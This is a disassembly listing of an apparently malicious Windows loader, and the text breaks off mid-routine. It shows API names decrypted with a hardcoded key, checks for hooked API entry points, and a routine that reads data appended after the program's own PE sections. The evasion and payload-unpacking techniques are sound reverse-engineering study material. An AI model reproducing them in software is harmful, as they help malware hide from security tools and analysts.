		push	edi		; hModule
		mov	dword_4042CC, eax
		call	esi ; GetProcAddress
		push	offset aNzeB_2	; "ne\n"
		push	edi		; hModule
		mov	dword_404330, eax
		call	esi ; GetProcAddress
		push	offset dword_404160 ; lpProcName
		mov	dword_4042F4, eax
		push	edi		; hModule
		call	esi ; GetProcAddress
		push	offset aKlc2i	; "kc2"
		push	edi		; hModule
		mov	dword_40432C, eax
		call	esi ; GetProcAddress
		push	offset aKvrD	; "kr\x1B"
		push	edi		; hModule
		mov	dword_404304, eax
		call	esi ; GetProcAddress
		push	offset aJI	; "j{="
		push	ebx		; hModule
		mov	dword_4042DC, eax
		call	esi ; GetProcAddress
		push	offset aJS	; "j{:"
		push	ebx		; hModule
		mov	dword_404310, eax
		call	esi ; GetProcAddress
		push	offset aJ9s	; "j{9\t"
		push	ebx		; hModule
		mov	dword_4042C4, eax
		call	esi ; GetProcAddress
		push	offset aR_1	; "{r"
		push	edi		; hModule
		mov	dword_4042D8, eax
		call	esi ; GetProcAddress
		push	offset aJlv_0	; "jv"
		push	edi		; hModule
		mov	dword_404300, eax
		call	esi ; GetProcAddress
		push	offset aKlc8a	; "kc8"
		push	edi		; hModule
		mov	dword_4042EC, eax
		call	esi ; GetProcAddress
		push	offset dword_4041D0 ; lpProcName
		push	edi		; hModule
		mov	dword_404334, eax
		call	esi ; GetProcAddress
		push	offset dword_404200 ; lpProcName
		push	ebp		; hModule
		mov	dword_404308, eax
		call	esi ; GetProcAddress
		push	offset aJlp1d	; "jp1"
		push	ebp		; hModule
		mov	dword_404324, eax
		call	esi ; GetProcAddress
		push	offset aJlpB	; "jp/"
		push	ebp		; hModule
		mov	dword_404318, eax
		call	esi ; GetProcAddress
		push	offset aJlpS	; "jp="
		push	ebp		; hModule
		mov	dword_4042E0, eax
		call	esi ; GetProcAddress
		mov	ecx, dword_404338
		mov	dword_404328, eax
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_40431C
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042FC
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042D0
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042D4
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042E4
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042C8
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042E8
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042F0
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042F8
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_404320
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_404314
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_40430C
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042CC
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_404330
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_4042F4
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_40432C
		test	ecx, ecx
		jz	loc_401C36
		mov	ecx, dword_404304
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_4042DC
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_404310
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_4042C4
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_4042D8
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_404300
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_4042EC
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_404334
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_404308
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_404324
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_404318
		test	ecx, ecx
		jz	short loc_401C36
		mov	ecx, dword_4042E0
		test	ecx, ecx
		jz	short loc_401C36
		test	eax, eax
		jz	short loc_401C36
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401C36:				; CODE XREF: sub_401910+1BDj
					; sub_401910+1CBj ...
		push	edi		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_401910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C50	proc near		; CODE XREF: sub_402850+35p
		push	esi
		push	edi
		push	9
		push	offset ModuleName ; "Vs"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Ch
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aSle	; "Se"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset ModuleName ; "Vs"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Ch
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aYka	; "Ya"
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aSle ; "Se"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Ch
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset ProcName	; "ne\n"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aYka ; "Ya"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Eh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aNzeB	; "ne\n"
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset ProcName ; "ne\n"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	12h
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aNzeB ; "ne\n"
		push	offset dword_404050
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 48h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	14h
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset dword_404050
		push	offset aBB	; "bB"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Bh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aR	; "~r\x1B"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aBB	; "bB"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Eh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aR_0	; "{r"
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aR	; "~r\x1B"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aR_0 ; "{r"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	10h
		and	ecx, 3
		push	offset dword_404098
		rep movsb
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	11h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aJlv	; "jv"
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset dword_404098
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Eh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aNzeB_0	; "ne\n"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aJlv ; "jv"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 48h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	10h
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aNzeB_0 ; "ne\n"
		push	offset aNzeB_1	; "ne\n"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	12h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aOSAEg	; "o~\n-a&EG"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aNzeB_1 ; "ne\n"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	10h
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aOSAEg ; "o~\n-a&EG"
		push	offset aKlc	; "kc*"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Ch
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aJldS	; "jd\v"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aKlc ; "kc*"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Bh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aVxS5Lq	; "{x\r5`!LQ"
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aJldS ; "jd\v"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	10h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aLle	; "le"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aVxS5Lq ; "{x\r5`!LQ"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 48h
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, offset aLle ; "le"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	0Bh
		and	ecx, 3
		push	offset aNzeB_2	; "ne\n"
		rep movsb
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Ch
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aKlc2i	; "kc2"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aNzeB_2 ; "ne\n"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Ch
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset dword_404160
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aKlc2i ; "kc2"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	5
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aKvrD	; "kr\x1B"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset dword_404160
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	11h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aJI	; "j{="
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aKvrD ; "kr\x1B"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	13h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aJS	; "j{:"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aJI	; "j{="
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 48h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	1Eh
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aJS	; "j{:"
		push	offset aJ9s	; "j{9\t"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Bh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aR_1	; "{r"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aJ9s ; "j{9\t"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	8
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aJlv_0	; "jv"
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aR_1 ; "{r"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aJlv_0 ; "jv"
		push	0Dh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	offset dword_4041D0
		and	ecx, 3
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Eh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aKlc8a	; "kc8"
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset dword_4041D0
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Ch
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset dword_404200
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aKlc8a ; "kc8"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 48h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0Bh
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset dword_404200
		push	offset aJlp1d	; "jp1"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	10h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aJlpB	; "jp/"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aJlp1d ; "jp1"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Bh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aJlpS	; "jp="
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset aJlpB ; "jp/"
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0Bh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset dword_40423C
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset aJlpS ; "jp="
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	7
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset dword_404248
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset dword_40423C
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	6
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset dword_404250
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset dword_404248
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 48h
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset dword_404250
		push	13h
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	offset dword_404258
		and	ecx, 3
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	10h
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset dword_40426C
		mov	eax, ecx
		mov	esi, edi
		mov	edi, offset dword_404258
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_401040
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset dword_40426C
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_401C50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402400	proc near		; CODE XREF: sub_4026F0+86p
					; sub_4026F0+A5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		mov	ebp, [esp+4+arg_4]
		push	esi
		push	edi
		cmp	byte ptr [ebp+0], 0
		jnz	short loc_402415
		mov	eax, [esp+0Ch+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_402415:				; CODE XREF: sub_402400+Bj
		mov	edi, [esp+0Ch+arg_0]
		cmp	byte ptr [edi],	0
		jz	short loc_40243A


loc_40241E:				; CODE XREF: sub_402400+38j
		mov	esi, edi
		mov	ecx, ebp
		sub	esi, ebp


loc_402424:				; CODE XREF: sub_402400+30j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_402440
		mov	al, [esi+ecx]
		inc	ecx
		cmp	al, dl
		jz	short loc_402424
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_40241E


loc_40243A:				; CODE XREF: sub_402400+1Cj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_402440:				; CODE XREF: sub_402400+28j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_402400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402450	proc near		; CODE XREF: sub_4012C0+BFp
					; sub_4012C0+12Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		cmp	esi, eax
		mov	ecx, eax
		jnb	short loc_40247D
		mov	ecx, [esp+8+arg_8]
		test	ecx, ecx
		lea	edx, [esi+ecx]
		lea	esi, [eax+ecx]
		jz	short loc_402492
		mov	edi, ecx


loc_402470:				; CODE XREF: sub_402450+28j
		mov	cl, [edx-1]
		dec	edx
		dec	esi
		dec	edi
		mov	[esi], cl
		jnz	short loc_402470
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40247D:				; CODE XREF: sub_402450+Ej
		jz	short loc_402492
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_402492
		sub	esi, eax


loc_402489:				; CODE XREF: sub_402450+40j
		mov	dl, [esi+ecx]
		mov	[ecx], dl
		inc	ecx
		dec	edi
		jnz	short loc_402489


loc_402492:				; CODE XREF: sub_402450+1Cj
					; sub_402450:loc_40247Dj ...
		pop	edi
		pop	esi
		retn
sub_402450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4024A0	proc near		; CODE XREF: sub_402850:loc_4028CAp
		mov	eax, dword_40431C
		mov	al, [eax]
		cmp	al, 0E8h
		jz	loc_4025B4
		cmp	al, 0E9h
		jz	loc_4025B4
		mov	eax, dword_4042FC
		mov	al, [eax]
		cmp	al, 0E8h
		jz	loc_4025B4
		cmp	al, 0E9h
		jz	loc_4025B4
		mov	eax, dword_4042D0
		mov	al, [eax]
		cmp	al, 0E8h
		jz	loc_4025B4
		cmp	al, 0E9h
		jz	loc_4025B4
		mov	eax, dword_4042D4
		mov	al, [eax]
		cmp	al, 0E8h
		jz	loc_4025B4
		cmp	al, 0E9h
		jz	loc_4025B4
		mov	eax, dword_4042E4
		mov	al, [eax]
		cmp	al, 0E8h
		jz	loc_4025B4
		cmp	al, 0E9h
		jz	loc_4025B4
		mov	eax, dword_4042C8
		mov	al, [eax]
		cmp	al, 0E8h
		jz	loc_4025B4
		cmp	al, 0E9h
		jz	loc_4025B4
		mov	eax, dword_4042E8
		mov	al, [eax]
		cmp	al, 0E8h
		jz	short loc_4025B4
		cmp	al, 0E9h
		jz	short loc_4025B4
		mov	eax, dword_4042F0
		mov	al, [eax]
		cmp	al, 0E8h
		jz	short loc_4025B4
		cmp	al, 0E9h
		jz	short loc_4025B4
		mov	eax, dword_4042F8
		mov	al, [eax]
		cmp	al, 0E8h
		jz	short loc_4025B4
		cmp	al, 0E9h
		jz	short loc_4025B4
		mov	eax, dword_404320
		mov	al, [eax]
		cmp	al, 0E8h
		jz	short loc_4025B4
		cmp	al, 0E9h
		jz	short loc_4025B4
		mov	eax, dword_404314
		mov	al, [eax]
		cmp	al, 0E8h
		jz	short loc_4025B4
		cmp	al, 0E9h
		jz	short loc_4025B4
		mov	eax, dword_40430C
		mov	al, [eax]
		cmp	al, 0E8h
		jz	short loc_4025B4
		cmp	al, 0E9h
		jz	short loc_4025B4
		mov	eax, dword_4042CC
		mov	al, [eax]
		cmp	al, 0E8h
		jz	short loc_4025B4
		cmp	al, 0E9h
		jz	short loc_4025B4
		mov	eax, dword_404330
		mov	al, [eax]
		cmp	al, 0E8h
		jz	short loc_4025B4
		cmp	al, 0E9h
		jz	short loc_4025B4
		mov	eax, dword_4042F4
		mov	al, [eax]
		cmp	al, 0E8h
		jz	short loc_4025B4
		cmp	al, 0E9h
		jz	short loc_4025B4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4025B4:				; CODE XREF: sub_4024A0+9j
					; sub_4024A0+11j ...
		mov	eax, 1
		retn
sub_4024A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4025C0	proc near		; CODE XREF: sub_402850+B0p

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	0		; lpModuleName
		xor	bl, bl
		call	ds:GetModuleHandleA	; GetModuleHandleA
		mov	ecx, [eax+3Ch]
		push	eax		; hObject
		lea	edx, [ecx+eax+4]
		xor	ecx, ecx
		mov	cx, [edx+10h]
		lea	esi, [ecx+edx+14h]
		xor	ecx, ecx
		mov	cx, [edx+2]
		lea	edx, [ecx+ecx*4]
		lea	ecx, [esi+edx*8]
		mov	esi, [esi+edx*8-18h]
		mov	edx, [ecx-14h]
		add	esi, edx
		call	ds:CloseHandle	; CloseHandle
		push	0		; dwErrCode
		call	ds:SetLastError
		mov	eax, [esp+14h+arg_0]
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	eax
		call	dword_404300
		mov	edi, eax
		call	ds:GetLastError
		test	eax, eax
		jnz	short loc_402697
		cmp	edi, 0FFFFFFFFh
		jz	short loc_402697
		lea	ecx, [esp+14h+var_8]
		push	ecx
		push	edi
		call	dword_404308
		mov	eax, [esp+14h+var_8]
		cmp	eax, esi
		jbe	short loc_402687
		sub	eax, esi
		push	ebp
		mov	ebx, eax
		push	1
		lea	edx, [ebx+1]
		push	edx
		call	sub_401000
		add	esp, 8
		mov	ebp, eax
		push	0
		push	0
		push	esi
		push	edi
		call	dword_404334
		lea	eax, [esp+18h+var_4]
		push	0
		push	eax
		push	ebx
		push	ebp
		push	edi
		call	dword_4042EC
		mov	ecx, [esp+18h+arg_4]
		mov	edx, [esp+18h+arg_8]
		mov	[ecx], ebp
		mov	[edx], ebx
		mov	bl, 1
		pop	ebp


loc_402687:				; CODE XREF: sub_4025C0+85j
		push	edi		; hObject
		call	ds:CloseHandle	; CloseHandle
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_402697:				; CODE XREF: sub_4025C0+6Cj
					; sub_4025C0+71j
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
sub_4025C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026A0	proc near		; CODE XREF: sub_4026F0+7Dp
					; sub_4026F0+9Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	edi
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1
		mov	edi, ecx
		lea	eax, [edi+1]
		push	eax
		call	sub_401000
		add	esp, 8
		test	edi, edi
		jle	short loc_4026E4
		push	esi
		mov	esi, eax
		mov	edx, ebx
		sub	esi, ebx


loc_4026CD:				; CODE XREF: sub_4026A0+41j
		mov	cl, [edx]
		cmp	cl, 41h
		jl	short loc_4026DC
		cmp	cl, 5Ah
		jg	short loc_4026DC
		add	cl, 20h


loc_4026DC:				; CODE XREF: sub_4026A0+32j
					; sub_4026A0+37j
		mov	[esi+edx], cl
		inc	edx
		dec	edi
		jnz	short loc_4026CD
		pop	esi


loc_4026E4:				; CODE XREF: sub_4026A0+24j
		pop	edi
		pop	ebx
		retn
sub_4026A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4026F0	proc near		; CODE XREF: sub_402850:loc_4028B5p

var_10C		= byte ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h

		sub	esp, 108h
